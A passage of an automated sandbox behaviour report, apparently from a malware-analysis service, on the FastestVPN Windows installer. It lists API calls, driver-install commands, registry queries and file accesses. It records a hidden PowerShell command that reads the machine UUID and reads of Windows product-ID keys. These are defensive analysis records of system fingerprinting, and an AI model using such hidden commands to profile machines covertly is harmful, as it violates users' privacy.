    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_0040134A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,31_2_0040134A
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_00402D4D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,31_2_00402D4D
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_100081EF _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,31_2_100081EF
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_1000B228 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,31_2_1000B228
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_10007CCF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,31_2_10007CCF
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_0103DEE7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,46_2_0103DEE7
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: page read and write | page guardJump to behavior
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_010383F6 __EH_prolog,#540,#538,#540,#540,#538,#2910,#861,#4197,#2755,#2910,#800,#800,#800,#800,#800,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#4124,#858,#800,#2910,#2910,#2910,#2755,#4272,#858,#800,#4197,#6563,#2910,#2755,#4272,#858,#800,#4197,#6563,#2910,#2755,#4272,#858,#800,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2756,#2910,swscanf,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#825,#4199,#2910,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,GetSecurityDescriptorLength,#823,GetLastError,#2910,#2910,LocalFree,LocalFree,GetLastError,#2910,#2910,#2910,#2755,#4272,#858,#800,#2910,_wtoi,#2910,#2755,#4272,#858,#800,#858,GetLastError,#2910,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#6278,#6279,wcscmp,#2910,swscanf,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#540,#540,#2755,#858,#861,#4272,#858,#800,#4124,#858,#800,#2910,wcscmp,#2910,#2910,LogonUserW,GetLastError,#2910,#2910,#800,#800,#800,#800,#2910,#2755,#4272,#858,#800,#858,#861,#861,GetLastError,#2910,#2910,#2910,#2755,#4272,#858,#800,#2755,#538,#4272,#858,#800,#4124,#858,#800,#2910,#2910,#858,GetLastError,#2910,#2910,#2910,#2755,#4272,#858,#800,#2755,#4272,#4124,#858,#800,#4197,#2910,#2910,#2910,#2910,#2910,#800,#537,#800,GetComputerNameW,#861,#927,#858,#800,#538,#922,#800,#800,#2910,#2910,#2910,#2910,#800,#2910,wcsncpy,#861,#861,#800,#2910,#2910,#2910,#2755,#4272,#858,#800,#2756,#2756,#2756,#2756,#2910,#2755,#4272,#858,#800,#5679,#861,#4273,#858,#800,#858,#941,#2910,#2755,#4272,#858,#800,#538,#925,#800,#2910,#2755,#4272,#858,#800,#2755,#4124,#858,#800,#4272,#858,#800,#2755,#540,#4272,#858,#800,#4124,#858,#800,#2756,#2756,#4124,#858,#800,#2910,#2910,wcscmp,GetComputerNameW,#861,#927,#858,#800,#538,#922,#800,#800,#2910,#2910,#2910,#2910,#2910,#800,#800,GetLastError,#2910,#2910,#2910,wcsncpy,wcsncpy,#2910,wcsncpy,#800,#800,#2755,#4272,#858,#800,#2755,#4124,#858,#800,#4272,#858,#800,#2910,#858,GetLastError,#2910,#2910,#858,GetLastError,#2910,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#2755,#858,#861,#4124,#858,#800,#4272,#858,#800,#2910,#2910,#2910,#858,GetLastError,#2910,#2910,#2755,#4124,#858,#800,wcsncpy,#2910,GetLengthSid,GetLengthSid,#2910,#2910,#2910,#2755,#4272,#858,#800,#2756,#4124,#858,#800,#6278,#6279,#4272,#858,#800,GetLastError,#2910,#2910,#2910,swscanf,#2910,GetLengthSid,GetLengthSid,GetLengthSid,#2755,#4272,#858,#800,#858,GetLastError,#2910,#2755,#4272,#858,#800,#858,GetLastError,#2910,46_2_010383F6
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe remove tap0901Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe install OemVista.inf tap0901Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "Windows 7" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\xcopy.exe xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\driversJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe -u fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe fastestvpndriverJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUIDJump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5616 -ip 5616
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 1076
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmpBinary or memory string: Shell_TrayWnd
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A721B20 cpuid 10_2_00007FF76A721B20
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: try_get_function,GetLocaleInfoW,10_2_00007FF76A708B44
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,10_2_00007FF76A714CB8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,10_2_00007FF76A714960
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,10_2_00007FF76A714E0C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,10_2_00007FF76A714D3C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,10_2_00007FF76A714ED0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,10_2_00007FF76A707B7C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,10_2_00007FF76A707BF8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,10_2_00007FF76A707A70
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,10_2_00007FF76A71534C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,10_2_00007FF76A715478
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,10_2_00007FF76A715120
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,10_2_00007FF76A715278
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: GetLocaleInfoA,31_2_00406C2C
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: GetLocaleInfoA,31_2_10011E31
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D4820 SetupDiGetDeviceRegistryPropertyW,GetLastError,SetupDiGetDeviceRegistryPropertyW,10_2_00007FF76A6D4820
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId4
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeQueries volume information: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\drvinst.exeQueries volume information: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\tap0901.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.exe VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SingleInstanceApplication.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Common.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.DI.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\VPN.Common.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.BLL.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\WpfAnimatedGif.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Newtonsoft.Json.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.AppCenter.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\System.Memory.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.InteropServices.RuntimeInformation\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.RuntimeInformation.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ValueTuple\v4.0_4.0.0.0__cc7b13ffcd2ddd51\System.ValueTuple.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
